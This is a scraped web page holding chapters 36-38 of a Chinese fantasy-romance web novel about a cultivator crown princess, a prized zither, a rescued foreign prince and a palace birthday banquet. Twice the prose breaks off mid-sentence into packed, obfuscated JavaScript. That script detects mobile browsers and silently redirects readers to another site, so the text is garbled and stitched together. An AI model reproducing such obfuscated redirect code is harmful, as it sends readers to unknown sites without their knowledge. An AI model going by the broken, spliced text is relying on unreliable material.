l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686845|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王还亲自进宫,想为她讨个郡主名头,入皇家玉蝶,中秋后封号就该下来了。 “日头正毒,太子妃殿下在外头做什么?”宁亲王妃因着此前的误会,一直对余初晏有着莫名的愧疚,又带着一丝担心她抢走叶苒的警惕。 夏末秋初,澧都正处于最热的三伏天时期,午膳后正是太阳最大的时候。 余初晏对此无甚感觉,倒是眼前母女两站了一会便生出了汗意。 “我正要回宫,两位呢?” “庄子收获,我正要与娘上庄子里瞧瞧。”叶苒穿越前住在城市里,此先也一直在国师府避世不出,好奇庄稼收获,缠着王妃非要一同前往。 这批庄稼将会是闽州军未来一年军粮的一部分,宁亲王妃相当重视。 余初晏看眼天上,“未来一周不会有雨,立秋后几日会有小雨。” 宁亲王妃谢过了她的好意,简单寒暄几句就此告别,叶苒从马车窗探出身子,跟她挥手。 余初晏目送她离去,脑中快速闪过一个念头,在此界羁绊过多的话,叶苒到时候还会想要回家吗? 继续回宫途中,余初晏听到一阵琴声,她再度驻足,侧耳倾听了会。 若是寻常琴音,断不会引起她的注意,但这道琴声里,却蕴藏着浅薄的灵力。 奏琴之人应当不过凡人,但他的琴却是仙器。 凡人居然能奏响仙器,余初晏心生好奇,循着乐声来到一处华贵的院落。 院里潜藏着数名高手,看来此间主人身份十分尊贵。 大白天,余初晏不太想引人注目,直到她感知到这把琴竟然是用万年雷击木制成。 这可是上好的对魔神器,千年雷击木引发的神雷,对魔修与妖修都有极佳的克制作用。 万年雷击木可遇不可求,在走正门拜访结识主人和翻墙直接发起交易间,余初晏果断选择后者。 凡人一堆规矩,走正门说不定根本见不到人。 未引起任何人注意,余初晏轻巧地来到院落中,路上假山流水,百菊争艳。 穿过回廊,琴音从亭间传来,与风卷在一同,将亭间白纱吹拂开,露出亭中月白色长衫男子。 他一头乌发顺滑地垂在肩背,只在额间别了同色系的护额,宽肩窄腰,盘腿而坐,雷击木琴随意置于胸前。 两名侍童立于他左右,显然都沉浸在琴声之中。 行至不远不近的安全距离,余初晏撤去了隐身诀,身形瞬间暴露在护卫们眼中。 毕竟她是来结交的,不是来结仇的。 琴乐骤停,男子警觉地回眸,看清余初晏容貌后,他眼中闪过一丝错愕,“是你?” 余初晏也认出此人,便是昨日的白衣使臣,月凰国的四殿下,不过两人此先并不相识,为何他会惊讶。 几个呼吸间,余初晏四周都出现了身形敏捷的暗卫,清一色的女子,她微顿,“你们月凰招女子为暗卫?” 她当初想做暗卫,还因为女子身份被拒绝了,如果她最先去的是月凰,说不定能少走点弯路。 不过现下已经是很好的局面了。 男子哑然,有些啼笑皆非,眼前女子看上去对月凰一无所知。 他轻咳一声,微微抬手制止了暗卫的下步动作,轻笑道:“你是何人?为何事而来?莫不是也想当月凰国的暗卫?” 虽说这些暗卫对她刀剑相向,但主人家的态度和善,余初晏向前一步,众人还未看清她的动作,眨眼间她已经站在亭间。 “余初晏。”她在男子愕然的目光中的自报家门,“为你手中的琴而来。” “殿下!”暗卫亮出武器向前想要上前,再度被男子阻拦。 他未起身,就着这一姿势仰视余初晏,清俊的面容上笑意加深,“在下沈观月,若是为琴声吸引,在下可为姑娘再奏一曲。” 他今日换了凤翎,新的翎羽中心衔着枚鸽血红宝石,更衬得他肤白似雪,容貌非凡。 余初晏的目光在那枚鸽血红上停驻了瞬间,才与男子对视,缓缓道:“你的琴声很好听,不过我是为了琴本身而来。” “要怎样或是何物,你才愿意将琴换给我?” 36. 游园 沈观月微怔,他环着琴,面露迟疑,显然没想到余初晏居然会提出这一要求。 “你可知这琴什么来历?大言不惭说要换走,你出得起价吗?”沈观月的小厮先一步怒道。 余初晏不明所以瞥他,“我若不知,为何来此?而你又怎知我出不起?” “你!”那小厮被她气得跳脚。 沈观月仅一个眼神,小厮忍气吞声,重新退至他身后。 “很抱歉,这琴于观月而言系无价之宝。”沈观月抱琴立起,他身姿挺拔,与身侧不蔓不枝的荷花相映成彰,俞发显得气质清尘。 余初晏手一抬,一把瑶琴出现在她手中,由万年凤凰木制成,又以上好的天山雪蚕丝制弦,上绘着展翅凤凰。 随着琴弦波动,凤凰竟振翅而起,于琴身飞舞盘旋,弦停凤停,在场之人无不瞠目结舌。 “以此琴换你的如何?”余初晏不是琴修,倒也不怎么心疼琴被换走,对她来说雷击木用处更大。 况且此人雷击木琴能奏响,那凤凰木同样能奏响,也算物善其用。 如此至宝,若是旁人早已心生贪意,沈观月却是无喜无悲,仍然摇头拒绝,“抱歉。” 余初晏明明有更好的琴,不知为何执着于他手中这把,沈观月还想与她交谈几句,若是能问明原因。 虽说他不会换,只是想与眼前之人多待片刻。 余初晏点头,雷击木于她是助力,也不是非要不可,既然对此人意义深重,那她还是不要抢夺为好。 手再一翻,琴已经消失,她道:“君子不夺人所好,既然如此,那我走了。” 说罢她真就踏水而出,眨眼间没了影子,就像她来时那般突然,去也去得决然。 徒留来不及挽留的沈观月,与呆滞在原地的众人。 至少知晓了她的名讳,沈观月怅然,终是没有心情再奏琴。 - 这只是归途路上一道小插曲,余初晏很快抛至脑后。 三日的教习结束,也不知两个小丫头学进了多少,余初晏收剑,又与两人用了一顿午膳。 此先她急于回玉虚山,才将余雪生托付给贺家,如今她情况稳定,便问了一嘴余雪生之后的打算。 两个女孩对视一眼,贺吟先开口,“阿姊想让雪生入宫,做宫女吗?” 余雪生也有几分紧张,她听闻宫中可不是什么人都能入,还有可能会掉脑袋,她不过乡野出身,实在有些害怕高高红墙后的宫殿。 余初晏挑挑拣拣,大抵贺家人世代为兵,偏爱荤食,她这三日午膳全是大荤大肉,偏湖州口味,炎夏之日,弄得她有些胃口不佳。 实在不愿再吃,她放下箸,“雪生想吗?我问的是你想做什么,而不是我想你做什么。” 余雪生飞快摇头,生怕余初晏会反悔,虽然她很想与阿姊日夜相伴,但什么都不会的她待在阿姊身边只会是拖累。 目光坚定,年仅十四的少女脆生生道:“我想跟着阿吟继续学武,未来像贺大哥一般带兵打仗!” “阿雪真有志气!到时候我们一个当左将军,一个当右将军,姐妹合璧,打得敌人落花流水!”贺吟举箸应和。 两人天真的做派惹得旁边侍奉的仆从低笑。 余初晏也笑,不知想到了什么,她道:“当将军光武力高强可不够,贺吟你夫子布置的课业完成了吗?” “啊!”贺吟捂耳,“阿姊不准说了!陛下生辰,休沐三日!” “阿姊我要告状,阿吟偷偷将夫子留的课业摆在阿花面前。”余雪生毫不留情戳穿伙伴。 阿花是淮阴侯府养的一只威风凛凛的成犬,据说异域而来,黑白花纹,有双炯炯有神的蓝目。 “阿雪你太不厚道了!” 哪知此番话正巧被老夫人听了个正着,她随手在旁边折了根竹条就冲进房中,“好哇,你这小兔崽子!骗我说是阿花不小心弄坏的,原来是故意的,看我不抽死你这个不学无术的坏小子!” 贺吟哇哇大叫,余雪生抱住她,替她去拦贺老夫人,房中一阵鸡飞狗跳。 - 就这般吵吵闹闹又是一日,眨眼间就是陛下生辰当日。 “阿晏!” 余初晏转头,宋峥与一名陌生男子相携而来。 “见过太子妃殿下。”男子规规矩矩行了礼。 宋峥将他介绍给余初晏,“这是陆廷,你唤他陆三便是。” 这还是余初晏第一次见宋峥传闻中的夫婿,没忍住多瞧了两眼。 陆三被她瞧得涩然,悄悄右移动两步,躲到了宋峥身后。 “他就是这般性子,旁人多看上他两眼,就羞得到处躲。”宋峥今日穿了条浅粉色齐胸襦裙,水蓝色大袖随风飘动,袖上的清荷仿佛活过来般。 胸口绣着的白莲栩栩如生,远远望去仿佛真将一朵荷花捧在心口。 “晓蓉制的,如何?”宋峥还特意在余初晏面前提着裙摆转了两圈,长裙垂坠时不过寻常,转起来后,层层叠叠如同真莲花盛开般白粉。 御花园中还有众多贵女,宋峥向来是人群焦点,这般一转,倒叫众人都望了过来,口中惊叹不已。 “好看。”余初晏点头,“很衬表姐。” 她说得真诚,宋峥却是不满,“阿晏反应太平淡了,再几日我与晓蓉的绣坊就要开业了,太子妃殿下不来捧捧场?” 余初晏笑着应下,今日她穿得正式,一身繁琐的太子妃宫装,不像其他贵女可以穿得随意些。 皇帝生辰宴不分席,御花园也会开放,任由百官家眷赏玩,念在三伏天,也就不过多要求家眷定要身着礼服。 再后来,由宋峥领头,贵女们也身着各式各样裙装出席,礼部与言官哪怕颇有微词,但帝后都未追究,他们也就不了了之。 久了,正式晚宴前的游园,也就成了变相的相亲会,年轻人们竞相打扮,宴后也能成上几对佳人,帝后乐见其成。 “太子呢?怎么就阿晏一人在此?”宋峥挽着余初晏,作势要带她去人群中。 “太子还需接待使臣。”余初晏用了些巧力,没有让宋峥推动,“我非独身一人,在此等人。” 说罢,人就到了,叶苒提着裙摆小跑而来,她像是不适应触地长裙,好几次都差点跌倒。 “殿下!”她跑得气喘吁吁,碎发都被汗打湿。 宋峥上下打量她,一眼认出她的身份,“是宁亲王新认的义女?” “你好,我是叶苒。”叶苒期期艾艾与她打招呼。 宋峥展颜,伸手一张帕子递过去让她擦汗,转头和余初晏咬耳朵,“你怎么与她相熟?我听人说她比你还孤僻难约,这几个月都无人能将她约出。” 余初晏蹙眉,“上半年我都不在京中,怎么就孤僻难约了,表姐约我,我哪次没有赴约?” “至于叶苒——” “殿下救过我一命,不止一命!反正救过我很多次,所以我两才相熟的。”叶苒傻呵呵地笑,宋峥气场太强了,让她有些紧张,帕子小心捧在手中也不敢用。 “救命之恩啊——”宋峥拖长语调,看叶苒实在太热,转而提出去水榭中歇凉。 余初晏同意后,又将陆三打发走,一路上亲亲热热与叶苒搭话。 叶苒哪招架得住宋峥的热情,晕晕乎乎一问一答,被套走了不少消息。 三人相携行至池边水榭,因着池中荷花已逐渐凋零,来此的人不多,多数去花苑中心赏菊吟诗。 宫人端来冰盆,亭中酷暑消了几分,就着湖面凉风,同行二人已经坐下品茶用点心。 余初晏站在亭边掀帘望向不远处,紫宸之气隔着池中的假山若隐若现。 “阿晏又在看什么?”宋峥招呼她来坐。 应声放下帘子的瞬间,余初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“张丰东西落下了,我们正在找呢。”其中一名勉强扯出幌子。 “是嘛?”余初晏看一眼他们背后幽深的宫殿,“需要我喊侍卫帮你们一起找吗?” 两人疯狂摇头,“不用不用,已经找着了!” “殿下没什么事的话,臣等先告退了——”没等余初晏首肯,他们已经连滚带爬跑走,身后有猛兽追赶般。 离得远了,还能听到说话声,“那煞星不会发现了什么吧?” “那又如何,反正她也打不开宫殿……” 两人口中打不开的锁,在余初晏手中轻轻裂成两半,抽走锁链,她打开了宫殿门。 阳光下,满是飞舞的尘埃,整座宫殿久未有人居住,又处在背阳处,内里十分昏暗。 余初晏踏入后,还听见房梁上有跑动的老鼠,桌椅随意一碰,就能掉下一堆木屑。 越往内间,越是无光且阴冷。 直到余初晏顺着紫气的指引,来到了蜷缩角落的九殿下面前。 他看起来狼狈万分,被麻绳捆住手脚,眼睛处覆着布条,原本一丝不苟高盘的束发散落,面容与衣物上沾染灰尘。 细看之下他竟在轻轻颤抖,贝齿紧紧咬着唇,能看见蜿蜒的血迹顺着下巴滑落至颈间,可见其用力。 余初晏顺手打晕了拿着凶器准备暗杀他的宫人,将人踢至一旁。 重物倒地的声音惊动了他,他警觉地抬头,嗓音沙哑,“谁?” 一手抬起他的下巴,拇指随意抹过猩红,一手摘下蒙着眼睛的布条,看到了他灰翳的双眼,与眼中朦胧的水汽。 余初晏迟疑,“你……雀盲?” 还怕黑,这只小龙崽也太弱了吧? 37. 野草 宇文芜闭上眼逃避,将氤氲的双眼藏于眼帘。 “要杀便杀。”他一字一顿,语气中藏不住刻骨仇恨,“今日我若不死,明日就是尔等死期。” 余初晏替他松绑,绳子绑的是活扣,稍用力即可挣脱,但九殿下似乎被下了药,瞧着他手脚无力。 颤抖一直未曾停过,还因为四周陷入死寂愈演愈烈。 这么脆弱,真的是未来真龙吗?余初晏深刻怀疑。 况且若是今日她未来,说不定九殿下已经死在此地,这宫人穿的还是青渊皇宫中的太监服饰。 余初晏都不用细想,就知有人在故意生事。 虽然不知道那两纨绔和九殿下什么仇,那两人再怎么蠢应该不至于害他性命,多半被人利用了。 天启皇子作为使臣死在青渊皇宫,边境大军本就蠢蠢欲动,这下直接有了出兵的理由。 “你能不能走?”余初晏问。 迟迟没等到回答,眼前人的状况更严重了,呼吸急促,脉搏过快,体温也低得可怕。 余初晏担心他晕厥,索性低下头给他渡了两口气。 九殿下的狐狸眼瞬间瞪大,眼前还是雾蒙蒙,除了黑暗什么都无法看清。 “滚!”他从牙间挤出这个字。 余初晏没理,看他状态好转了些,就抱起他往外走,想了想还是给他眼睛蒙上。 “算你走运,碰到我。”余初晏理直气壮,“救你一命,亲你两口怎么了?” 要不是看在这只龙崽子弱得要死,只吸两口龙气,她很克制了。 “……本殿一定杀了你!”九殿下无力反抗,只能咬舌尖,试图保持清醒,恢复力气。 余初晏叹口气,离开宫殿后,找了处干净的回廊给他放下,手指卡在他下颚,不让他用劲,“别咬自己。” 龙血这么珍贵,浪费了属实不好。 九殿下果然怕黑,到了外面,哪怕眼前蒙着布也有微光透过,此先的异样全都消失了,只是药效未尽。 随手给他喂了颗丹药,死活不肯吞咽,哪怕余初晏言明是软骨散解药,还咬伤了她的指尖。 余初晏倒吸口冷气,生出几分怒火,“你太不识好歹了,敢吐出来,我有的是方法逼你吃。” 艳红的唇扯出一个嘲讽的弧度,他歪头,还是将丹药混合着血丝吐至一旁。 余初晏冷着脸,掐着他的下颚重新将丹药塞入,另一只手在他身上一点,九殿下不自觉将丹药吞下。 随之而来的是翻江倒海的恶心感,他挣脱余初晏,伏在凭栏干呕。 待他将胃里的软骨散祛尽,四肢恢复了些气力,一把扯下蒙眼的布条,凌厉的双眼向四周望去。 身边哪还有旁人。 他冷笑一声,唇角刺目的鲜红更出一丝惊心动魄之美。 少顷,一名头戴狐面身着黑色劲装的男子出现在他面前,单膝跪地。 “殿下恕罪,我等被人引走,未曾察觉陷阱——” “自己领罚罢。”九殿下神色蔫蔫,显然不想多言。 狐面男咬牙,抽出绑在腿间的匕首,狠狠削去了左手小指,顿时鲜血如注。 但他一声不吭,熟练地单手为自己止血包扎,又清理掉地面残余的血迹。 待他做完这一切,九殿下才开口,“方才你来时,可见有人离去,一名女子,地位不低,绝非宫人。” 狐面男摇头,“除了宫人,属下未曾见到其他人。” 九殿下沉思片刻,迈步,他腰背挺得很直,全然不见不久前的弱势。 “殿下,此事就这么算了?”狐面男心有不甘,恨不得立刻代其主,将那两名纨绔手刃。 “当然不。”九殿下阴恻恻地笑,“不过这是青渊皇宫,不好动手,先将本殿的好兄长留下的那几位除了。” 他早得了青渊太子的信,打定主意陪他们玩玩,若非兄长留下的细作暗算于他,又将他的暗卫引走,那两蠢货也不会得手。 到底是他近些时日松懈了,差点着了道。 若非……想起黑暗中那个旖旎的吻,九殿下笑容俞发灿烂,杀了她还是便宜她了,他定要那人也尝尝他所受的屈辱。 - 余初晏将被打晕的宫人绑到禁卫面前,又简单地描述所见情形,禁卫面沉如水,当即将人带走,向上级汇报。 后续如何,余初晏懒得多操心,捏个除尘诀再回马场时,击鞠已经接近尾声。 瞧着彩旗,是女队领先。 “阿姊!”刚到没多久,贺吟拽着余雪生冲到她身边。 “阿姊,方才怎么一直未瞧见你?” “有些事。”余初晏扶着略歪的金钗,法诀能让衣裙保持洁净,却无法将弄乱的头饰归位。 马场周围全是人,已然挤不到最前头观赛,宫人躬身相邀她前往高台,余初晏抬眼望去,高台上显然空旷不少,大都是位高权重之人,以及几位使臣。 余初晏摇头拒绝,转而与贺吟、余雪生在马场四周走动。 “郡主击鞠太厉害了,连续进了几个球,没人是她的对手!” “阿雪骑马还不熟练,再过几月也能参加击鞠,迟早也像宋阿姊那般厉害。” “阿吟别打趣我,郡主那个程度我还达不到啦。” “阿雪可是要当将军的人,怎么能说做不到。” 两个小丫头在余初晏身边叽叽喳喳,好不容易找到一处人不算多,赶忙从人腋下钻进,挤到最前列。 余初晏无消去挤,隔着人群,用神识也能探到场上激烈的较量。 宋峥脸上还是挂着如常漫不经心的笑意,眼神却十分认真,手中球仗用力一挥,精巧的鞠球飞速穿过他人马蹄。 “惠惠!”被她叫到的贵女,已经勒马抵达鞠球行进路线上,将球拦下后避开对手的撞击,将球狠狠击出。 四人配合的天衣无缝,眨眼间已至对方球门,夏小公爷不甘示弱,策马腾空去拦宋峥,几人围困住宋峥,不让她有任何击球的机会。 宋峥身下枣红马,四蹄奔驰如风,硬生生将他们甩至身后,队友也上前,替她挡开干扰。 随着一声清呵,宋峥回首,精准地接到队友送来的鞠球。 球门近在咫尺,她目光专注,双腿紧夹着马身,腰以一种极为高难度的姿势压低,让观众心高高悬起,屏息以待。 夏小公爷伸直球仗,似想做最后的拦截,宋峥不躲不避,风驰电掣的一击,快到常人都无法捕捉到球影。 “进了!”紧接着是压不住的欢呼,比赛结束,宋峥所在的女子队拿下了胜利。 另外三名贵女围在宋峥身边,满脸喜色,击掌庆贺胜利。 反观男子队,累得或仰头望天,或垂头失意。 大家都在高声夸赞昭华郡主,像一群狂热的拥趸。 连余初晏都不自觉被气氛感染,透过人群,望着高举马仗,一脸骄傲的宋峥。 “阿晏。” 余初晏回首,是赵景泽,撇下高台上使臣,特意来寻她。 “阿晏,宁亲王义女说你身体不适,怎么回事?” 余初晏笑,“这里太吵了,找了个借口离开而已。” 赵景泽心知她不喜嘈杂,拉着她上下打量,见她只是唇色略红,无其他异样,才放下心。 “把使臣丢到一旁,也不怕陛下怪罪?”看台那边有人注意到赵景泽的动作,频频望来。 “本来就是礼部的工作,我不过是陪同。”赵景泽不甚在意,忽而抬手,“阿晏的金钗少了一支。” 今晨外出时,共十支花树,左右对称,如今右边缺了一角。 “是吗?”余初晏都未发现,可能掉在某处了。 赵景泽还想细问,却被人打断。 “阿晏!”方才还在庆祝胜利的宋峥,骑着马来到边缘,旁人为她让开了道路。 她额间还有晶亮的汗珠,整个人透着活力,看到赵景泽,她挑眉,“太子也在啊。” 紧随而来的夏小公爷张口欲与宋峥说话,一眼瞧见余初晏,他徒然一个激灵,话不过脑,脱口而出:“见过太子妃殿下、太子殿下!” 宋峥瞥他眼,“你喊那么大声干嘛?” 赵景泽:“……”见鬼了,这群纨绔这半年见他都和耗子见猫一样,避不可及也会规规矩矩行礼,和吃错药了般。 “阿晏,今日让你逃了,下次可不能逃!”宋峥还在记挂余初晏未开场就不见影这事。 余初晏摇头,“表姐,我不会马球,配合不好只会拖累你们。” “太子妃殿下说得对!不会打马球,误伤到了就不好了。”夏小公爷连忙搭腔。 “怎么会误伤?你们还专门朝着人打?”宋峥不满,狠瞪他。 夏小公爷有苦说不出,他怕的是被误伤!贺二还不够惨吗,听说直接对女子有了阴影,他可不想被打成那样! 赵景泽轻咳一声,“表姐,晚宴快开始了,尔等还不去梳洗一番。” 宋峥看眼日头,太阳已经西斜,只得下马去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696736|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换衣,离开前还不忘对余初晏道:“多与我们练习两次便好,我看谁敢误伤你!” 余初晏只能先应承,“表姐快去罢。” 等宋峥与伙伴一走,观众也逐渐离去。 余初晏身边又围过来其他人,白日一直未见的李晓蓉跑来,她今日一直被拘在李熹丛身边,好不容易甩开兄长。 叶苒也来了,方才她待在王妃身边看球,还要承受身边全是命妇的压力,可算摆脱了长辈们的关心。 形影不离的贺吟与余雪生自然不会放过待在余初晏身边的机会,手拉手跟在余初晏身后,还沉浸在方才的击鞠赛中,讨论声未停。 赵景泽好不容易得来的独处时光破裂,郁闷地牵着余初晏,眼睁睁瞧着她与友人交谈,眼神都未分过来一个。 等到她们被各自亲属叫走,余初晏身边终于只余他一人时,皇城司的禁卫又过来似有要事告知。 余初晏已经猜到是何事,禁卫便未瞒着她,压低声音道:“殿下,陛下让您即刻与天启九殿下会面。” 赵景泽眉峰一压,今日他还未见过宇文芜,更未见过张丰等人,“可是出事了?” 禁卫下意识看向余初晏,后者略一摇头,借口要重新打理发饰,就此离去。 待余初晏离开,禁卫才将午时之事告知太子,隐去了太子妃在其中作为。 “那两个蠢货!”赵景泽怒火中烧,身为储君,他自然知晓使臣在宫中出事的后果,“宇文芜也是蠢得无可救药,还能被自己人暗算。” “奉陛下之命,已将两人秘密拿下,关押在地牢中。”至于之后如何处置,全凭陛下做主。 哪怕心中再不愿,赵景泽还是压下火气,前去安抚宇文芜。 宇文芜在青渊宫中有一座暂憩的宫殿,几年前曾为质时居住于此,宫人下意识将他领至此地。 行至院中,赵景泽就闻到一股挥之不去的血腥气,他身后的向晖握紧刀柄。 “太子殿下来得倒是及时。”宇文芜坐在殿中,身后站着狐面暗卫,身前则是几具未曾瞑目的尸首。 赵景泽公事公办,“让九殿下受惊了,此事定会给你一个交待。” 宇文芜嗤笑,“什么交待?若是本殿说要杀了他们呢?青渊陛下可愿意?” “谋害他国皇子,其罪当诛。”赵景泽应允,“九殿下可留下来亲眼见证两人问斩。” 宇文芜目光阴沉,死死盯着赵景泽,“本殿要亲手剐了他们!” “青渊不像天启可随意动用私刑,万事以律法为主。”赵景泽却是不答应。 另他没想到的是,宇文芜并未在此过多纠缠,话锋一转,“本殿在此受惊,向陛下讨些赔偿不为过罢?” 瞧着他又在打什么鬼主意,赵景泽笑得勉强,“理应如此,九殿下想要什么赔偿?” 宇文芜不答,只道离开青渊前会提出,显然他也不愿将事情闹大,还遂了别人的意,表面上作出不再追究的样子。 两人虚与委蛇寒暄一阵,眼见着晚宴时间将至,赵景泽顺势邀请宇文芜同行。 路上,宇文芜突然从袖中拿出一枚鎏金菊纹钗,笑着问:“今日在园中捡到此钗,瞧着十分贵重,想必丢失的贵女心焦不已,太子殿下可知今日谁丢了金钗?” 一眼便认出是余初晏丢失的金钗,赵景泽面上不显,心中却泛嘀咕,宇文芜何曾这么好心。 出于莫名的原因,他并未认领这支金钗,而是道:“本宫不知,不如将金钗交与本宫,本宫令宫人私下问问。” 却见宇文芜收起金钗,道:“太子殿下是已婚之人,随意私藏女子金钗不合适,本殿亲自找。” 难道你一未婚男收着人家的金钗就合适吗?太不检点了!赵景泽差点脱口而出,额间青筋暴起。 察觉到他情绪不对,宇文芜眯着眼望来,“怎么?太子殿下知道这是何人的钗子?” “本宫说了不知。”赵景泽咬牙切齿,越看宇文芜越不顺眼,“九殿下动作快些,本宫还要其他要事!” 早知方才就应该直接将金钗夺过来,搞得现在如鲠在喉,若是席间宇文芜发现是余初晏丢的钗子,保不齐上前攀谈一番。 赵景泽一想到宇文芜要用这张狐媚子脸勾引余初晏,他就俞发不悦,周身气压低得可怕。 果然赵太子认识这枚金钗,宇文芜手瞬间收紧,这种花树钗多是一对,那人未曾发现他偷拔钗子,应当还未觉察钗子丢失。 他可要好好盯着赵景泽,才能将那女人揪出来。 38. 玄鸟 “陛下驾到——” 随着宫人传唱,帝后二人相携入殿。 虽是晚宴,但此时太阳未曾落下,两仪殿内夜明珠环绕,亮如白昼。 余初晏随着皇后入座,赵景泽已居于席间,见她过来,伸手扶了一把。 瞧着她头上金钗尽数换下,赵景泽微愣,趁青渊帝在座上致辞,他压低声音,问:“怎么把金钗换了?” “素兰说这些金钗都是一对的,丢了一只就干脆全换下了。”余初晏下意识去抚头饰,却被赵景泽握住手。 “这样就行,阿晏真好看。”若不是在大庭广众之下,赵景泽又想亲亲余初晏。 余初晏横他一眼,不领情,“闭嘴,别说话。” 两人居于上首,已经引来多方注意,各式各样的目光聚集过来。 其中一道包含愕然与失落,与众多情绪不同,余初晏望去,撞见了明净的双眼。 是雷击木琴的主人,余初晏与他对视片刻,后者先一步垂下视线。 难道说他反悔了,还是想要和她换琴,余初晏了然,她就说擅长乐理之人不可能拒绝得了凤舞琴。 之后是繁琐的送礼环节,各式奇珍异宝被献至皇帝面前,彰显众臣心意。 两位小殿下分别赠的一幅帝王肖像画与一幅亲笔所写陈情词,礼轻情意重,引得皇帝龙心大悦。 太子所赠是赈灾之后百姓供奉的万民伞,简单质朴的绸面,上用墨笔书写密密麻麻的,笔迹各异的人名。 青渊帝目光深沉,心有感触,夸赞了太子一番,众臣随之应和。 赈灾之事,太子劳苦功高,得此伞于今日献于陛下,也算是忠孝两全。 余初晏以国师名义赠了一座玉树,若不是生辰前,汪朝顺明里暗里替皇帝讨要礼物,她才不会送。 玉树顾名思义就是玉自然长成的树,非雕制成,不仅会继续生长,还能随着四季流转变换颜色。 如今即将步入秋日,玉树赤中带黄,流光溢彩,所见之人无不拍案称奇。 皇帝虽喜,却有几分失意,余初晏嘴一撇,想要留影石,她才不给! 之后的赠礼中规中矩,每年也就那几样。 等到曦光沉没,随着陛下一声开宴,舞姬涌入,喜乐奏响,宫人端着一碟碟精致的菜肴穿梭于席间。 宴上众菜品,虽精致味美,但量少,通常两口就无了。 余初晏吃得意兴阑珊,时不时象征性地举杯。 席间还有不少人如她般心不在焉,户部尚书方得知自家老三连同丞相家幼子,因谋害天启九殿下被关押,哪还有什么心思吃席,满脑子只有怎么把人捞出来。 宇文芜在席间探寻,这种形制的金钗,能戴之人少之又少,多为有品阶命妇或是身份极高的贵女。 那女子声音年轻,不会超过双十,符合条件之人,皆未见此对钗的另一支。 赵景泽也未有其他动作,坐在席位上一直与身边太子妃交流。 宇文芜也不是没怀疑过太子妃,但其脚步虚浮,明显不是习武之人,很快不再关注。 “陛下。”沈观月举杯站起,吸引席间众人视线,他先是一番祝词,将杯中清酒一饮而尽后,才言明目的,“此番入青渊,观月只盼能拜访青渊国师,了却吾皇心愿。” 少数知晓国师已仙逝的重臣不自觉望向上首。 青渊帝沉默不语,恰逢此时歌舞交替,乐声趋停,殿内陷入一片寂静。 良久,青渊帝道:“此事朕不能应下,待与国师商议后才可给出回复。” 席间众人心思各异,沈观月微微躬身,“是观月唐突了。” 丞相强撑着出来打圆场,奏乐继续,沈观月也坐回原处,眉间挥之不去的愁意。 “他要见我师尊做什么?”余初晏靠在赵景泽肩头,与他低语。 赵景泽回:“听闻月凰太上皇与国师曾有过一段……说不清道不明的缘分,大抵有什么遗言想要告与国师——阿晏你要见他吗?” 后面一问,赵景泽显然带上了几分紧张,月凰国四殿下长得可比裴监副优越多了。 余初晏拧眉,月凰国太上皇都去世三十余年了,有遗物为何不在师尊尚在青渊时拿出。 不过人还是要见的,“见,他手里有一样我需要的东西。” 直到宴会结束,赵景泽也未问出余初晏需要的是什么,黏黏糊糊拉着她撒娇,“阿晏!我陪你一起去见如何?我就是想见识一下阿晏需要的是何等奇物。” “不如何,等我拿到手你就知道了。”余初晏推开他趁着夜色贴上来的脸颊,“别装醉了,你分明清醒着呢。” 赵景泽还要代皇帝将使臣送离,不愿余初晏离开。 余初晏与皇后问安后,索性答应与他一同送客,免得小龙崽子不高兴。 “阿晏不要太惯着太子。”宋瑛随手替她整理衣领。 余初晏摇头,“不会,夜深了,宫里也不算全然安全,我陪着他母后也放心些。” 宋瑛心知她说的是宫中细作,沉着脸先行回宫,明日宫中上下又将有一番大清洗。 殿外,大臣们的马车已经走得差不多,驻车处独留几辆青渊专门为使臣备下的马车。 一晚上都没能发现目标的宇文芜还未离去,靠在马车内,倾听百越使臣与赵太子交谈。 百越使臣是个高壮黝黑的汉子,声音如洪钟,“方才在殿上不敢多问,我就问一句,传说中的神女是不是和青渊国师有关系?” 青渊境外小属国不少,百越算是强大的一支,其他属国使臣同样束起耳。 他们上澧都一路上关于神女的传闻太多了,真假未知,但楚江一带风雪莫名消退这事却做不得假。 “是有关。”赵景泽应承,多的讯息却不透露。 百越使臣眯着眼,“月凰四殿下想要拜访国师大人,吾等可否与之一同?” “此事本宫会转告国师,全凭国师意思。”赵景泽跟他打太极,“明大人应当知晓,修真之人性情古怪,见与不见全凭心情,连父皇都做不了国师的主。” 百越使臣到底未能强求,目光随意一瞥,忽而定格在余初晏身上,他脸色微变,“这位是……” “这是青渊太子妃。”赵景泽先一步介绍,同样没有多言。 百越使臣深深看着余初晏,作势朝她行了一礼,才率领其他使臣退下。 他离开后,其他属国也跟着一并离宫,剩下月凰与天启也远去。 路上,百越使臣身旁之人低声问他何故对一名女子这般尊敬。 使臣沉吟道:“那是名强大的巫者,连大祭司都未必有她的实力,日后见到青渊太子妃,都放尊重些。” 本国大祭司都不及她,看着年轻至极的女孩,竟有如此实力,几人心中惊骇,闭嘴不敢多言。 - 回宫的步辇上,余初晏缓缓道:“那个大高个猜出我的身份了。” 赵景泽有几分头疼,“无妨,他不是多嘴之人,更何况,只要他不想得罪青渊,就不会到处宣传。” 此时已是深夜,满天繁星闪烁,赵景泽一整天都在虚伪地笑,靠在余初晏身边才将面具卸下。 “父皇生辰后又是秋猎,秋猎后是中秋,中秋之后还有母后生辰,母后生辰过了那些人才会各自归国。” 